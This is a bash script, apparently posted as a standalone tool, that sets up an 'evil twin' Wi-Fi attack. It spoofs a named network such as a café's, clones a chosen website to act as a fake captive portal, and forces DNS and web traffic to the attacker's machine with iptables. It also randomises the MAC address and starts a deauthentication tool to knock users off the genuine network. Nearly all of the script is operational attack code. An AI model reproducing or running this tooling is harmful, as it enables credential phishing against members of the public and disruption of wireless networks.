DoubleVision.sh 3.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. __ _ ___ ___ _ _ _ __ ___ ___ | |__ _ __ ___ __ _ ___| |__
  13. / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \
  14. | (_| \__ \__ \ |_| | | | | | | __/_____| |_) | | | __/ (_| | (__| | | |
  15. \__,_|___/___/\__,_|_| |_| |_|\___| |_.__/|_| \___|\__,_|\___|_| |_|
  16. **Double Vision**
  17. A Wifi Hacking Tool For Evil Twin Captive Portals
  18. Use At Your Own Risk
  19. EOF
  20. echo ""
  21. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  22. echo ""
  23. read AP
  24. echo""
  25. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  26. echo ""
  27. sleep 1
  28. echo -e ${green}"Which interface do you want to use to deauth?"${clear}
  29. echo ""
  30. read DEAUTH
  31. echo ""
  32. echo -e ${yellow}"Bringing down $DEAUTH"${clear}
  33. echo ""
  34. sleep 1
  35. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Wifi"${clear}
  36. echo ""
  37. read SSID
  38. echo ""
  39. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  40. sleep 1
  41. echo ""
  42. echo -e ${green}"Enter Website URL To Clone. Example: https://starbucks.com"${clear}
  43. echo ""
  44. read URL
  45. echo ""
  46. echo -e ${yellow}"Cloning $URL"${clear}
  47. echo ""
  48. systemctl stop dnsmasq
  49. cp Resources/hostapd.conf . 2>/dev/null
  50. sed -i "s/AP/${AP}/g" hostapd.conf
  51. sed -i "s/SSID/${SSID}/g" hostapd.conf
  52. rm /etc/hostapd/hostapd.conf 2>/dev/null
  53. cp hostapd.conf /etc/hostapd/hostapd.conf
  54. /usr/bin/chromium-browser --no-sandbox 2>/dev/null
  55. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  56. echo ""
  57. sleep 2
  58. echo -e ${yellow}"$URL Cloned Successfully"${clear}
  59. echo ""
  60. sleep 1
  61. echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
  62. echo ""
  63. mv /home/pi/index.html /var/www/html/index.html
  64. echo -e ${green}"Starting Apache"${clear}
  65. service apache2 start
  66. sleep 1
  67. echo ""
  68. echo -e ${green}"Changing $AP MAC Address"${clear}
  69. echo ""
  70. ifconfig $AP down
  71. macchanger -A $AP
  72. sleep 1
  73. ifconfig $AP up
  74. sleep 1
  75. #echo -e ${green}"Starting DNS"${clear}
  76. #systemctl start dnsmasq
  77. echo ""
  78. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  79. echo ""
  80. hostapd -B /etc/hostapd/hostapd.conf
  81. sleep 2
  82. echo ""
  83. echo -e ${green}"Bringing Up The Bridge"${clear}
  84. echo ""
  85. ifconfig br0 up
  86. sleep 2
  87. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  88. sysctl net.ipv4.ip_forward=1 2>/dev/null
  89. echo ""
  90. echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
  91. echo ""
  92. echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
  93. echo -e ${green}"Setting IPTables"${clear}
  94. echo ""
  95. iptables --flush
  96. iptables -t nat --flush
  97. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  98. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  99. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  100. iptables -t nat -A POSTROUTING -j MASQUERADE
  101. sleep 2
  102. echo -e ${green}"Starting DNS"${clear}
  103. service dnsmasq start
  104. sleep 4
  105. echo ""
  106. echo -e ${red}"Access Point Should Be Up. Time To Deauth"${clear}
  107. echo ""
  108. sleep 2
  109. echo -e ${red}"Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"${clear}
  110. echo ""
  111. sleep 2
  112. read -p "Press enter once you understand how to disconnect from the TMUX session"
  113. tmux new-session -s deauth 'cd PwrDeauther && sudo bash PwrDeauther.sh'